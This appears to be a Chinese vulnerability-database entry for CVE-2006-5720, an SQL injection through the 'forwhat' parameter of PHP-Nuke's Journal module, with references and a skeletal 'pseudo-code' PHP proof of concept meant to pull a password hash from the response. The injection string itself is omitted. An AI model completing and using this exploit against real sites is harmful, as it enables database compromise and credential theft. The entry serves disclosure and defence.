Francisco Burzi PHP-Nuke Journal 模块 Search.PHP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111434 漏洞类型 SQL注入
发布时间 2006-10-31 更新时间 2006-11-07
CVE编号 CVE-2006-5720 CNNVD-ID CNNVD-200611-046
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/28885
https://cxsecurity.com/issue/WLB-2006110015
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200611-046
|漏洞详情
FranciscoBurziPHP-Nuke中的Journal模块中的modules/journal/search.php存在SQL注入漏洞,远程攻击者可以通过forwhat参数来执行任意SQL命令。
|漏洞EXP
source: http://www.securityfocus.com/bid/20829/info

The PHP-Nuke Journal module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

PHP-Nuke 7.9 and prior versions are vulnerable.

<?
/*

Neo Security Team - Pseudo-Code Proof of Concept Exploit
http://www.neosecurityteam.net
Paisterist

*/
set_time_limit(0);
$host="localhost";
$path="/phpnuke/";
$port="80";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$data=""; /* Here the variables, like "bywhat" and "forwhat", with the 
SQL Injection */

if ($fp) {
    /* we put the POST request on $p variable, sending the data saved on 
$data. */

    fwrite($fp, $p);

    while (!feof($fp)) {
        $content .= fread($fp, 4096);
    }

    preg_match("/([a-zA-Z0-9]{32})/", $content, $matches);

    if ($matches[0])
    print "<b>Hash: </b>".$matches[0];
}
?>
|参考资料

来源:XF
名称:journal-search-sql-injection(29940)
链接:http://xforce.iss.net/xforce/xfdb/29940
来源:BID
名称:20829
链接:http://www.securityfocus.com/bid/20829
来源:BUGTRAQ
名称:20061031PHP-Nuke<=7.9Journalmodule(search.php)"forwhat"SQLInjectionvulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/450183/100/0/threaded
来源:MISC
链接:http://www.neosecurityteam.net/index.php?action=advisories&id=29
来源:VUPEN
名称:ADV-2006-4295
链接:http://www.frsirt.com/english/advisories/2006/4295
来源:SECUNIA
名称:22617
链接:http://secunia.com/advisories/22617
来源:SREASON
名称:1812
链接:http://securityreason.com/securityalert/1812